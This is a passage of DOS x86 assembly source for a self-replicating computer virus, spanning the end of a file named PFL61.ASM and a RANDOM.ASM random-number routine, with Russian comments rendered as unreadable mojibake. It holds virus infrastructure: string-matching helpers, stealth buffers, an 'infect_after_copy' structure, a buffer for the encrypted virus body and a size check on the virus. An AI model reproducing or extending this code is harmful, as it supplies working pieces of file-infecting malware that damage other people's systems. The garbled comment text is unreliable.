飡p�え � �αぎレえЖ 쨛膝º� �� 줎㏓ ;귛��: DS:[SI] 飡p�첓 � ぎ獸p�� ▲ㄵ� �p젪�Ð졻藺� 췅‘p 飡p�� ; ES:[DI] 줎쭬 飡p�� � 兒p쵟收: ; db 6,'sergey' ; db 5,'misha' ; db 0ffh - 뢱�㎛젶 ぎ��� ;귣若�: AX==0 - 貰¿젮��Ł �β ; AX!=0 - ��Дp 貰¿젪蜈� 飡p�え cmps_string_with_databasestring: push di cx xor cx,cx mov ax,1 next_string: mov cl,es:[di] cmp cl,0ffh jz no_coincide_string push si di inc di rep cmpsb ; 몆젪�Ð졻� DS:[SI] � ES:[DI] pop di si jz coincide_string mov cl,es:[di] add di,cx inc di inc ax jmp next_string no_coincide_string: xor ax,ax coincide_string: pop cx di retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 al_to_big_letter: cmp al,61h ;뢱��죖젳�쥯��� � ‘レ鼇� ▲あ� jc this_is_not_bigletter cmp al,7ah ja this_is_not_bigletter sub al,20h this_is_not_bigletter: retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;뢱�즤젹щ �죖젩�洙� 笹晨젵�音 葉醒� ;귛��: call random_any_ax (궙p좂Ð젰� ヮ‘� 笹晨젵��� 葉笹� � AX) ; call random_ax (꽞� ℡�쩆 �拾�� AX, 췅 �音�ㄵ 0 stealth_buffer_2 stealth <> stealth_buffer_3 stealth <> stealth_buffer_4 stealth <> stealth_buffer_5 stealth <> stealth_buffer_6 stealth <> stealth_buffer_7 stealth <> stealth_buffer_8 stealth <> stealth_buffer_9 stealth <> stealth_buffer_10 stealth <> stealth_buffer_11 stealth <> stealth_buffer_12 stealth <> stealth_buffer_13 stealth <> stealth_buffer_14 stealth <> stealth_buffer_15 stealth <> stealth_buffer_16 stealth <> stealth_buffer_17 stealth <> stealth_buffer_18 stealth <> stealth_buffer_19 stealth <> stealth_buffer_20 stealth <> pointer_to_active_stealth_buffer dw ? ;벆젳졻�レ 췅 젶殊˛硫 묅�メ 곥狎�� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 infect_after_copy_1 infect_after_copy <> ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 buffer_for_crypted_virus db length_of_virus_in_bate dup (?) ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 .errnz ($-virus) GT 4000H ;끷エ 췅� ˘說� �젳ㅳメ� � �젳Д�졾 ‘ゥ� 曄� 16K ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 endvirus_in_memory: pfl endp seg_a ends end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[PFL61.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[RANDOM.ASM]컴� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; 뢱�즤젹쵟 �죖젩�洙� 笹晨젵��． 葉笹� ; 귛��: OLD_AX ; 귣若�: 0<=NEW_AX<=OLD_AX random_any_ax: mov ax,0fffeh random_ax: xchg ax,dx call random_dx xchg ax,dx retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; 뢱�즤젹쵟 �죖젩�洙� 笹晨젵��． 葉笹� ; 귛��: OLD_DX ; 귣若�: 0<=NEW_DX<=OLD_DX random_any_dx: mov dx,0fffeh random_dx: push ax bx dx call init_rnd_proc cell_for_rnd_number dw 0100h init_rnd_proc: pop bx imul ax,word ptr cs:[bx],4dh inc ax mov word ptr cs:[bx],ax pop bx inc bx or bx,bx jz quit_from_rnd xor dx,dx div bx ;DX:AX / BX -> AX:DX quit_from_rnd: pop bx ax retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[RANDOM.ASM]컴�